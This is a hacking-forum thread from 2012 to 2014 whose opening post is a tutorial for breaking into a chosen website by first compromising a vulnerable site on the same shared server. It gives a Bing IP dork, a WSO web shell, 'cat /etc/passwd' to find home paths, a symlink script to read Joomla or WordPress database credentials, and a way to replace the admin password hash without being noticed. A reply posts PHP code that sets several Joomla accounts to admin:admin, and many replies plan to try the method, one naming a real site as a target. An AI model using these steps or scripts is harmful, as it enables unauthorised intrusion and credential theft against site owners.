Thread: [\[TUTORIAL\] How to hack a targeted website \[Noob Friendly\]](#)

HaxOr? - September 2, 2012, 1:41 pm

Hello Hackforums.

Since lot of you are new to this section i'm gonna show you how to hack your targeted website. This is not easy to do but i will try to explain as much as i can.

Things we will need:

- 1) Target website
- 2) PHP shell (I use WSO)
- 3) Symlink script (I will provide that at the end)
- 4) MySQL manager

Chapter I

Now, when you checked your site and it has no vulnerable points you are pretty much screwed, right?

There is one thing left.

We can hack into the same website on the same server (I know that this sounds wierd to you but you will see why in a minute)

So we have our target website URL and now we must find out the IP.
We go to the Start -> CMD and type:

Code ping www.target.com

[img]http://img805.imageshack.us/img805/4355/regionxw.png[/img]

[img]http://img138.imageshack.us/img138/6647/regionsh.png[/img]

Spoiler [\(Click to View\)](#)

Replace the [www.target.com](#) with your site.

Now when we have our servers IP it's time to find vulnerable websites.

Go to <http://bing.com> and enter:

Code IP:IPyougotbypingingthesite ".php?*="

[img]http://img99.imageshack.us/img99/3843/regionhe.png[/img]

Now let's search for an website vulnerable to SQLi. (It can be any site, any vulnerability)

After few minutes i have found my vulnerable website.
I have admin info and i shelled it.

(You can find that here <https://hackforums.net/showthread.php?tid=2615672>)

So i'm in my shell now and it's time to access our target site.

Chapter II

First thing you need to find is a full path of your website.
It is usually like:

Code `/home/username/public_html/`

Now go to your shell and execute this command:

Code `cat /etc/passwd`

[img]http://img228.imageshack.us/img228/47/regioni.png[/img]

[img]http://img715.imageshack.us/img715/1792/regionkn.png[/img]

Now copy all text you got and paste it into your notepad.

That file contains all users that use that server so your target will be there.

My target has "cube" in it's URL so i will search for "cube" in the notepad.
You got the point, right?

[img]http://img341.imageshack.us/img341/2795/regiongd.png[/img]

Now i know my targets full path:

Code `/home/softcube/public_html/`

Chapter III

When you have full path it should be easy from now.

My website is Joomla and i know where is the file that contains MySQL connection info.

Code `/home/softcube/public_html/configuration.php`

Just browse around your site and you will figure out what software it runs.

For wordpress is

Code `/home/softcube/public_html/wp-config.php`

So upload our symlink file and mysql editor file.

Open symlink file and enter your websites path and file you want to view.

In my case it's:

Code `/home/softcube/public_html/configuration.php`

[img]http://img35.imageshack.us/img35/2513/regioncn.png[/img]

[img]http://img585.imageshack.us/img585/4794/regiontf.png[/img]

Now click on the "symlink" and now we have our targets mysql info.

[img]http://img651.imageshack.us/img651/1213/mozillafirefoxr.png[/img]

Copy all that in a Notepad++

(It's better because you can easily find password and username)

Find username and password and open mysql.php file.

Enter the credentials and now we can edit the database.

[img]http://img824.imageshack.us/img824/8474/regionvw.png[/img]

[img]http://img845.imageshack.us/img845/9578/regionpw.png[/img]
[img]http://img38.imageshack.us/img38/711/regionfv.png[/img]

Now click "Tables" and find admin table.

It can be users, staff and replace admin hash.

(Remember to note down original hash so that way your hack stays undetected if you want access)

[img]http://img853.imageshack.us/img853/8381/regionsc.png[/img]

Now, i've changed the hash and logged into the Joomla panel.

[img]http://img600.imageshack.us/img600/2779/wholescreenh.png[/img]

And now i just have to shell it.

That's all for now.

I know i did bad on explanation but if you want you can PM me or post here and i will answer all of your questions. ;)

- 1) Symlink script -> <http://pastebin.com/yYJ4UrhR>
- 2) MySQL script -> <http://pastebin.com/wBg5qeMX>
- 3) WSO shell -> <http://pastebin.com/M8b2t3BD> (Change the hash! Default password is 123)

CyberSyringe - September 2, 2012, 1:49 pm

Hacking the unhackable ?

Great HQ tutorial, will add this to my collection.

Hayley - September 2, 2012, 1:51 pm

Amazing! All of your tutorials are just awesome. I'll be bookmarking this for later use.

Jesi zviJer. :D

Bacardi - September 2, 2012, 2:14 pm

Really good as always. Got it bookmarked.

HECTØR - September 2, 2012, 2:36 pm

Great tutorial mate I would try that now.

Thank you.

MagicMushroom™ - September 2, 2012, 2:46 pm

Wow...amazing!

I really need this!

Bookmarked for testing it later...

Light Yagami. - September 2, 2012, 3:06 pm

best tut i ever seen thanks for posting this i well use this for sure

soeasy - September 2, 2012, 3:20 pm

Freaking awesome tutorial one more time.

You are great.?

root.localhost - September 2, 2012, 5:43 pm

Meh this is kinda miss leading in a way because real hacking takes time to plan out however

sometimes you might be able to find a backdoor to get in and i dont mean a trojan back door i mean like finding a website that is hosted on the same server and that website might be vulnerable which could then let you hack the site your mainly trying to target....

I made a video that talks about using Symlinks bypassing it is a nice way to hack shared servers without needing to get r00t on them...

Dyme - September 2, 2012, 6:17 pm

Another great tutorial. Thanks for contributing!

HaxOr? - September 3, 2012, 6:15 am

Thanks for the support guys! :)

RUMBLE - September 3, 2012, 7:45 am

Great tutorial, bookmarked ?

Thanks

wraithcranzz - September 3, 2012, 8:05 am

Wow amazing Tutorial mate! Im Gonna Try this method now ;)

Thanks ?

Desmolicious - September 3, 2012, 8:11 am

lol xD I searched on bing and got "No results found for IP:85.xx.xxx.xxx".php?*=". " (lol I fail xD)

king225 - September 3, 2012, 8:12 am

Great tutorial man,,, always tutorial have more knowledge

TheNeutron - September 3, 2012, 8:17 am

Nice tutorial man! Is there any chance of not getting dbinfo? While Symlink I can't find database info of many sites in most cases. Specially those which don't use any well known CMS.

HaxOr? - September 3, 2012, 8:29 am

(Sep 3, 2012 08:17 AM)-=HackOpz=- Wrote: [\[CITE\]](#) Nice tutorial man! Is there any chance of not getting dbinfo? While Symlink I can't find database info of many sites in most cases. Specially those which don't use any well known CMS.

You can look inside of an admin panel files like login.php and find connect info. :)

(Sep 3, 2012 08:11 AM)Desmolicious Wrote: [\[CITE\]](#) lol xD I searched on bing and got "No results found for IP:85.xx.xxx.xxx".php?*=". " (lol I fail xD)

You must have space between:

Code IP:85.xx.xxx.xxx ".php?*="

The Decoder - September 3, 2012, 8:33 am

helpfull for newbies

but already know and posted also

literalraise - September 3, 2012, 9:00 am

another good tutorial thanks for posting keep it up

samrokzz - September 3, 2012, 10:20 am

very nice tutorial . Thanks for sharing this .

tux1 - September 3, 2012, 11:34 am

Great tutorial I bookmarked this for later!

razem - September 3, 2012, 11:38 am

Incredible tutorial! Thanks! Another great one from HaxOr! Bookmarked.

Le Flou - September 3, 2012, 12:24 pm

Great work HaxOr

My priv8 shell :D

Btw you can use this script for fast adding admin in joomla

Code <?

```
if(empty($_POST['pwd'])){  
echo "<FORM method='POST'>  
host : <INPUT size='15' value='localhost' name='localhost' type='text'><br>  
username : <INPUT size='15' value='db_user' name='username' type='text'><br>  
password : <INPUT size='15' value='**' name='password' type='password'><br>  
database : <INPUT size='15' value='database' name='database' type='text'><br>  
prefix : <INPUT size='15' value='jos' name='prefix' type='text'><br>
```

Set A New username For Login : <INPUT name='admin' size='15' value='admin'>

Don't Change it Password is : admin: <INPUT name='pwd' size='15'

value='eb1ba1ca399c58075540078149d56d7f:INEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr'>

<INPUT value='change' name='send' type='submit'>

</FORM>";

}else{

\$localhost = \$_POST['localhost'];

\$database = \$_POST['database'];

\$username = \$_POST['username'];

\$password = \$_POST['password'];

\$prefix = \$_POST['prefix'];

\$pwd = \$_POST['pwd'];

\$admin = \$_POST['admin'];

@mysql_connect(\$localhost,\$username,\$password) or die(mysql_error());

@mysql_select_db(\$database) or die(mysql_error());

\$hash = crypt(\$pwd);

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET username = '".\$admin.'" WHERE ID = 62")
or die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET password = '".\$pwd.'" WHERE ID = 62") or
die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET username = '".\$admin.'" WHERE ID = 63")
or die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET password = '".\$pwd.'" WHERE ID = 63") or
die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET username = '".\$admin.'" WHERE ID = 64")
or die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET password = '".\$pwd.'" WHERE ID = 64") or
die(mysql_error());

\$SQL=@mysql_query("UPDATE ".\$prefix."_users SET username = '".\$admin.'" WHERE ID = 65")

```
or die(mysql_error());
$SQL=@mysql_query("UPDATE ".$prefix."_users SET password =".$pwd." WHERE ID = 65") or
die(mysql_error());
if($SQL){
echo "<b>Success : - admin:admin";
}
}
?>
```

-Pseyco - September 3, 2012, 2:14 pm

Very nice TUT! Thank you for sharing this.

TechNeX - September 3, 2012, 7:49 pm

Omg! thanks for the tut this was by far the best one I've seen yet

RedLynx - September 3, 2012, 10:21 pm

Great tutorial man imma definately gonna try this out later on my own site

RedLynx :P

Good Mood Dude - September 3, 2012, 10:47 pm

I appreciate the time you have put on writing this tutorial but it is not noob friendly at all in my opinion.

HaxOr? - September 5, 2012, 10:34 am

I appreciate the feedback!

Thanks guys!

HeXagone - September 5, 2012, 10:37 am

Nice tutorial :) Well written Noob friendly :p

HeXagone

Delete Me - September 5, 2012, 10:37 am

Another great tutorial from ?? ? x O r ?

Thanks

__init__ - September 5, 2012, 10:40 am

Very nice tutorial, great layout makes it easy to follow and understand.

Illicit - September 5, 2012, 11:52 am

Thank's so much for this tutorial.I will definitely bookmark this.

Thanks again!Keep up the GREAT work!

Virtual +rep :3

russellqt - September 19, 2012, 1:26 am

bice tutorial.. .but i'm having problem looking for site running in the same server that i want to hack??

N3p BoY - September 19, 2012, 11:02 am

Hey Haxor !

i can't PM you back !

you have kept me in Ignore List !

UniKBabaEddonHackers - September 19, 2012, 12:23 pm

Brother can u contact with me i give my email in your Private Message =D and we contact in email or fb www.fb.com/edonhack and u show me this tuto with teamveiwer please. :S i dont realize , its nice tuto . ;)

keyloggerv3 - September 19, 2012, 12:30 pm

Never thought about this..

Really nice TuT.(like the rest of yours)

Will bookmark for some tests later :D

thanks!

FaggotFlounder - September 19, 2012, 1:52 pm

Great, great tutorial!

Learned a lot today!

Thanks :D

ayyy lmao000o - September 19, 2012, 2:27 pm

Amazing tutorial! This taught me a lot!

BeggFoMercy - September 19, 2012, 6:08 pm

Thats a great fucking tutorial man <3 , keep it up :D

trulymike - September 20, 2012, 7:29 am

m unable to do it..: i found the IP address of required website.. now what t do?? plz can any1 helpp me on this...

FlowerBlossomPot - September 25, 2012, 4:33 am

This is awesome!

Thanks so much for a great and detailed explanation

haczord - September 25, 2012, 5:35 am

nice tutorial

thanks for making this tutorial

DarkB1ade - October 24, 2012, 1:58 pm

Thanks alot. Will bookmark this for later reference. Biggups

Scooby Doo. - October 24, 2012, 2:35 pm

I didn't read it thoroughly, but will save this tutorial for later use.

Thanks for the share man, I'll be sure to pm you if I happen to stumble upon a problem.

i3D - October 24, 2012, 3:22 pm

This is one hell of a good tutorial.

keep it up, HaxOr :)

impman817 - October 24, 2012, 4:01 pm

This is a very good guide thanks for sharing

kenwhite23 - October 24, 2012, 6:18 pm

BOOKMARKED THIS! thanks so much for the great tutorial. gonna try this tonight. My problem is

getting admin and password on a lot of the vulnerable sites ive found. they either dont have a user DB or no admin etc. If someone could possibly walk me through the sqli and shell upload via skype id appreciate it. my skype name is v3n0m1t3. Thanks in advance. hopefully this tutorial will help me a lot.

dk182010 - October 24, 2012, 10:07 pm

Great Tutorial :) Add To My Collection

g421d - October 25, 2012, 1:08 am

very nice tutorial, Haxor, you are ROCKS ...!!! :)

Ter Oiomornie - October 25, 2012, 2:46 am

Hey, I'm new at this; completely new... I got as far as Chapter 3 but how do I find out what software the website uses? Is there a more clear way to find that out being new to this?

This is my target website; not trying to hack the website itself just a regular members account.

www.gpforums.co.nz

Any help much appreciated, just want to know how to find the software so I can learn how to do this myself, thanks.

Amph - October 25, 2012, 1:17 pm

This is a great tutorial, very high quality. Thank you for this!

Only thing is that your pastebay links include nothing, just blank. Fix that please :)

-Amph

Year?? - October 25, 2012, 3:10 pm

Thanks for the share OP :D definitely saving this for later usage (*cough*) hopefully that is soon. Anywho thanks again!

HaxOr? - November 1, 2012, 10:51 am

Links updated!

Enjoy guys! ?

Th3PonyWizard - November 1, 2012, 12:51 pm

(Sep 2, 2012 05:43 PM)root.localhost Wrote: [\[CITE\]](#) Meh this is kinda miss leading in a way because real hacking takes time to plan outSort of this. This is really neat tutorial and all, but it's approaching a subject in a short, limited way. The way to attack a targeted site is to target it and combine all of the experience and knowledge of the attacker into one spaghetti of pentesting.

Kylethedude1 - November 1, 2012, 1:13 pm

Thanks ALOT!

I was looking for something like this for a long time, and I finally found it.

Thanks!

flashrobin - November 1, 2012, 4:13 pm

Thanks...We are all grateful for the information you have bestowed up on us

HelloDolly0110 - November 1, 2012, 5:22 pm

If you are sure it is wordpress powered, what's the best method for determining admin login if it isn't clear from the standard used ones?

Longpoke - November 1, 2012, 5:23 pm

Is there a tut - video link? Could be helpful

logging1220 - November 2, 2012, 2:29 am

tyson1311 - November 3, 2012, 2:11 am

really helpful i really am a noob thanks heaps

Crysan - November 3, 2012, 2:37 am

Over 4000k post's ?

That's my niggu <3

lostQ - November 4, 2012, 6:37 am

a bit hard to understand sql injection and find vulnerable sites ;/

kalandershihabrocke - November 17, 2012, 6:51 am

and what can i do if it's a dedicated server??/

Ivlickey - November 17, 2012, 7:17 am

good stuff man i defiantly look into this

Szakalaka - November 18, 2012, 10:29 am

what can i do if there is only one site (my target only) with this ip?

kma9090 - November 18, 2012, 1:05 pm

Just wanted to say thanks for this, really like the Bing dork.

It's not really helped though as I suck and have still been unable to find a vulnerable site.
On the odd site I found a site that gives an SQL error using ' I have been unable to take it further.

hackedtheworld - November 18, 2012, 7:06 pm

I can't a good download for the wso php shell you use.... where did you get yours from? can you post a link for it??? thanks..

ShitTaker99 - November 18, 2012, 8:29 pm

".php?*="

this could also be

".cgi?*="

or

".asp?*="

or even

".html?*="

php isnt the only one vuln to sqli

best tut i ever seen thanks for posting this i well use this for sure

Beast tutorial, very good job indeed.

troll3 - December 3, 2012, 5:27 pm

Thank you for sharing your knowleadge i can learn lots of this from them

sudhir - December 3, 2012, 6:07 pm

nice tutorial

working for

great bro

DARK_MOON - December 4, 2012, 6:16 pm

very nice tutorial, Haxor, you are ROCKS ...!!! :)

SIM-1241186 - December 19, 2012, 10:59 am

Amazing job. Showing the ways of hacking the invulnerable, this is probably one of the best tutorials I've seen on here in quite a while.

Saved and I'll definitely be trying this out sometime.

ramoncito24 - December 19, 2012, 7:37 pm

bookmarked , ,will try this later. thanks a lot.

i3D - December 20, 2012, 1:11 am

Great, great, great, AND GREAT!

Thank you very much.

Offline® - December 20, 2012, 2:12 am

Amazing. Your work is amazing. Great job :)

HaxOr? - June 23, 2013, 1:37 pm

Thanks for the feedback guys!

Much appreciated! <3

Exusia - June 23, 2013, 2:07 pm

Nice tutorial, what is the factor that determines whether symlinking will work or not?

HaxOr? - June 23, 2013, 2:18 pm

(Jun 23, 2013 02:07 PM)Exusia Wrote: [\[CITE\]](#) Nice tutorial, what is the factor that determines whether symlinking will work or not?

Well you will never know until you try it.

But it think everything can be bypassed.

Filisko - June 26, 2013, 3:49 am

Nice tut man! :) And the good thing is that you did a lot of things manually!

wp60512 - June 26, 2013, 3:24 pm

Awesome tutorial mate

I really needed this

Thanks

cheakyjay - June 27, 2013, 10:27 pm

HQ tutorial very nice :)

-Cheakyjay

????? - June 27, 2013, 10:38 pm

Aaahhhh...

awsm tut man..bookmarked :)

chadvader85 - July 9, 2013, 10:51 pm

Nice. love when tutorials are noob friendly. Lol

enilyks - July 10, 2013, 1:45 am

Very good tutorial. I've enjoyed reading this.

Toasties - July 10, 2013, 2:52 am

this a good idea! i wouldn't thinking of getting to the other web sites on the same box. thanks for your contribution

N3tzH3RoZ - July 10, 2013, 4:38 am

thanks for taken your time to put this together ...not a bad one

vishnu - August 10, 2013, 7:17 am

i see nothing when i execute cat /etc/passwd command..plz hlp..:(

Rawrrasaurus - August 10, 2013, 7:55 am

Informative and really detailed. Thank you! I will put it to use

XVIII-XI-MCMXCV - August 10, 2013, 11:16 am

Thanks for this tutorial will help me a lot in the future :)

MeynardCruz - August 10, 2013, 8:58 pm

Thanks for this. I will add to my bookmark page awesome :)

Scooby Doo. - August 10, 2013, 9:07 pm

Nice little tutorial you have there buddy :)

Thanks for the share, I'm sure it will help a lot of users.

P???ce - August 12, 2013, 1:18 pm

read & bookmarked, I also have been article writer in past & love to read others even if I know in order to achieve new points :)
so nice.

RENDERING - November 9, 2013, 9:40 am

So when I do a G search for PHP in the IP nothing of use ever comes back. Its always stupid IP lookup sites that do me no good. Any suggestions to find that weakness on the target server?

Liner - December 7, 2014, 8:02 am

Any tutorial on how can I shell a website ?

The Death - December 7, 2014, 8:31 am

just amazing , THE tutorial about webhacking I was looking for years !!!
amazing job sir , really impressed by your work

thanks you very much for that

But I miss some things between chapter 1 and 2 , like how you find the vulnerable site on the same server than my target and how did you upload the shell :/

TheWholeWorldExplodes - December 7, 2014, 9:03 am

you really fucking gravedug this old thread for that shitty comment? are you fucking autistic.

?Golden Freddy - December 7, 2014, 3:56 pm

Nice HQ tutorial! Keep it up OP! ?

panji77 - December 7, 2014, 11:51 pm

nice tutorial, you can help me?, I little not understand

Leakadot - December 9, 2014, 6:56 am

Awesome tutorial, gonna try it out! Thanks.

deadduck - December 9, 2014, 10:29 am

Since this thread has been ed anyway... If anyone can find me a vulnerable site from the IP please PM me.
